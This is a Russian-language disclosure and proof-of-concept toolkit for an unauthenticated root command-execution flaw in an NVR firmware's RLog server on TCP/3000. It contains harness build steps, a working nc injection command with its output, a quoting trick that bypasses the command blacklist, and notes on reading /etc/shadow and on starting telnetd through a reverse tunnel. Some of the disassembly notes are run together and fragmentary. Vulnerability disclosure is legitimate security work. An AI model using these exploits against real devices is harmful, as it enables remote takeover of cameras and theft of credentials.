
CVE-2026-100886 | Инструментарий для неаутентифицированного удалённого выполнения кода.
Демонстрационный стенд показывает, что прошивочный libLOG.so запускает сервер RLog
на TCP/3000. Анализ диспетчера команд и динамические тесты
демонстрируют неаутентифицированное выполнение команд ОС через этот сервер.
Он загружает собственный libLOG.so прошивки под qemu-arm, вызывает TLog_Init()
и настоящий сервер привязывается к 0.0.0.0:3000 и принимает входящие соединения
откуда угодно без какой-либо аутентификации.
Прошивка предоставляет неаутентифицированный сервер команд RLog на TCP/3000.
Диспетчер команд регистрирует Cmd, который передаёт контролируемый злоумышленником
ввод в TLog_CMD. TLog_CMD в конечном итоге вызывает бэкенд выполнения команд
прошивки.
Следовательно:
Unauthenticated TCP connection
↓
RLog command dispatcher
↓
Cmd <attacker-controlled command>
↓
TLog_CMD
↓
mysystem()
↓
/bin/sh
↓
command execution
harness.c: постоянная версия: поднимает сервер и засыпает (используйте её для реального применения)probe_harness.c: версия-зонд: также пытается выполнить пробные команды изнутри эмулятора (показывает требование обрамления байтом типа)Если загрузка прошивки, которую использует приведённый ниже скрипт для создания sysroot, больше не существует. Вы можете взять её из одного из этих источников (просто поищите изображение nvr, прошивка широко распространена):
Я использовал прошивку v4.6.1.4-build202604241011 для этого, другие версии прошивки ещё не тестировались, но у нижестоящих дропшипперов вроде fullward она тоже есть.
Запустите это в том же каталоге, что и стенды
# Download and extract toolchain
wget https://gitlab.arm.com/api/v4/projects/tooling%2Fgnu-toolchains-for-arm/packages/generic/gnu-toolchain/15.3.rel1/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
tar -xvf arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
TC=$(pwd)/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf
# Creating the sysroot
wget http://www.tpsee.com/upload/firmware/update-ts81xxd3x-v4.6.1.4-build202604241011.bin
binwalk -Me update-ts81xxd3x-v4.6.1.4-build202604241011.bin
mkdir -p sysroot
cp -a "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_rootfs.ts81xxd3x.extracted/squashfs-root/lib" sysroot/
cp "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libLOG.so" \
"_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libmysystem.so" sysroot/lib/
$TC -march=armv7-a -mthumb -mfloat-abi=soft -nostdlib -ffreestanding -fno-builtin \
-Wl,--dynamic-linker,/lib/ld-uClibc.so.0 -Wl,-rpath,/lib -Wl,-e,_start -Wl,--export-dynamic \
harness.c -o harness -L sysroot/lib -lc
Этот стенд предоставляет заглушки реализаций символов, которые libLOG.so импортирует из edvr
qemu-arm -L sysroot ./harness &
sleep 2
ss -tln | grep 3000
# -> LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* (qemu user-mode forwards the emulated socket to the host)
Наблюдаемый вывод из probe_harness.c (не тот, что используется в скрипте выше):
dlopen ok
TLog_Init() -> 0
--- probe port 3000 ---
connect port 3000 OK (x5 meaning every connection accepted)
REPLY: timeout/none (plain-text probes ignored: binary type-byte framing required)
➜ seetong-ts81xxd3x-rce printf 'Cmd cat /etc/os-release > /tmp/rlog_os.txt\r\n' | nc 127.0.0.1 3000
^C%
➜ seetong-ts81xxd3x-rce cat /tmp/rlog_os.txt
NAME="Artix Linux"
PRETTY_NAME="Artix Linux"
ID=artix
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://artixlinux.org/"
DOCUMENTATION_URL="https://wiki.artixlinux.org/"
SUPPORT_URL="https://forum.artixlinux.org/"
BUG_REPORT_URL="https://bugs.artixlinux.org/"
PRIVACY_POLICY_URL="https://terms.artixlinux.org/docs/privacy-policy/"
LOGO=artixlinux-logo
➜ seetong-ts81xxd3x-rce
Artix Linux отображается из-за того, что qemu в пользовательском режиме использует общую файловую систему хоста, так как этот PoC не изолирует её должным образом.
Раскрытие об ИИ, приведённый ниже текст сгенерирован ИИ
LogModuleRegCmd @ 0x8f94)| Команда | Обработчик | Эффект |
|---|---|---|
StartDebug, StartLog, SetLogLevel, Help, StartAutoTest | различные | управление логированием/самотестированием |
GetSystemStatus, GetSystemInfo, GetSystemLog, GetSystemCfg | TLog_Get* | раскрытие информации/конфигурации/логов |
GetSystemFile [abs names] | TLog_GetSystemFile (0x7a94) + TLog_SendFile (0x48f0) | чтение произвольных файлов (/etc/shadow, /usr/local/etc/user.db, ...) |
GetPrintfFile | TLog_GetPrintfFile | чтение файлов |
Cmd [System commands] | TLog_CMD (0x3680) | выполнение команд оболочки от имени root |
PortMap on <ip> <port> / PortMap off | fcn.00008b76 | обратный TUN-туннель + telnetd на порту 23 |
; \r \n).vi, cd, top, if, killcmd} (strcmp) — тривиально обходится (cat, sh, кавычки)."%s -b" → запуск через sh -c.ps -ef | grep "sh -c %s" |grep -v grep, '{print $1}' | xargs kill -9.mysystem() (libmysystem.so) → IPC к /usr/sbin/systemd (поддельный systemd, выполняет через /bin/sh от имени root; строки "[systemd cmd:]%s", "[systemd ret:]%d").Демонстрация чёрного списка (2026-08-04, эмулируемый сервер):
Cmd vi > /tmp/bl_vi → dropped (no file created)
Cmd cat /etc/hostname > /tmp/bl_cat → executed (file contains hostname)
Cmd v''i > /tmp/bl_bypass → BLACKLIST BYPASSED (shell sees `vi`, strcmp sees `v''i`)
PortMap on <ip> <port> (ожидает 3 поля).portmap_client_start(ip, port) (0x88b0):
system("lsmod | grep -q '^tun\\b' || insmod /config/modules/4.9.84/tun.ko")/dev/net/tun, создаёт интерфейс tps0, ifconfig tps0 up/mnt/nand/yun_id.txt, /etc/product_type.txtsystem("touch /usr/local/etc/normal_telnet") (0x897e→0x8982)system("killall telnetd") (0x8c1e) и system("telnetd -p 23 &") (0x8c32).portmap_client_stop (0x8a48) → system("rm -f /usr/local/etc/normal_telnet"), ifconfig tps0 down.portmap_client_get_status, portmap_client_is_running, portmap_client_get_assigned_ip."usage: PortMap on <ip> <port> | PortMap off\n", "PortMap on: IP=%s, Port=%d\n", "PortMap start success! ret:%d", "PortMap stop success!"."rm %s/* -rf" (0xad10) — используется при очистке каталога логов (TLog_DeleteLogFile).Стенд (harness.c) выполняет dlopen libLOG.so, подставляет заглушки для его импортов edvr, вызывает TLog_Init():
dlopen ok
TLog_Init() -> 0
Сторона хоста (проброс сокета в пользовательском режиме qemu):
LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* users:(("qemu-arm",pid=...,fd=0))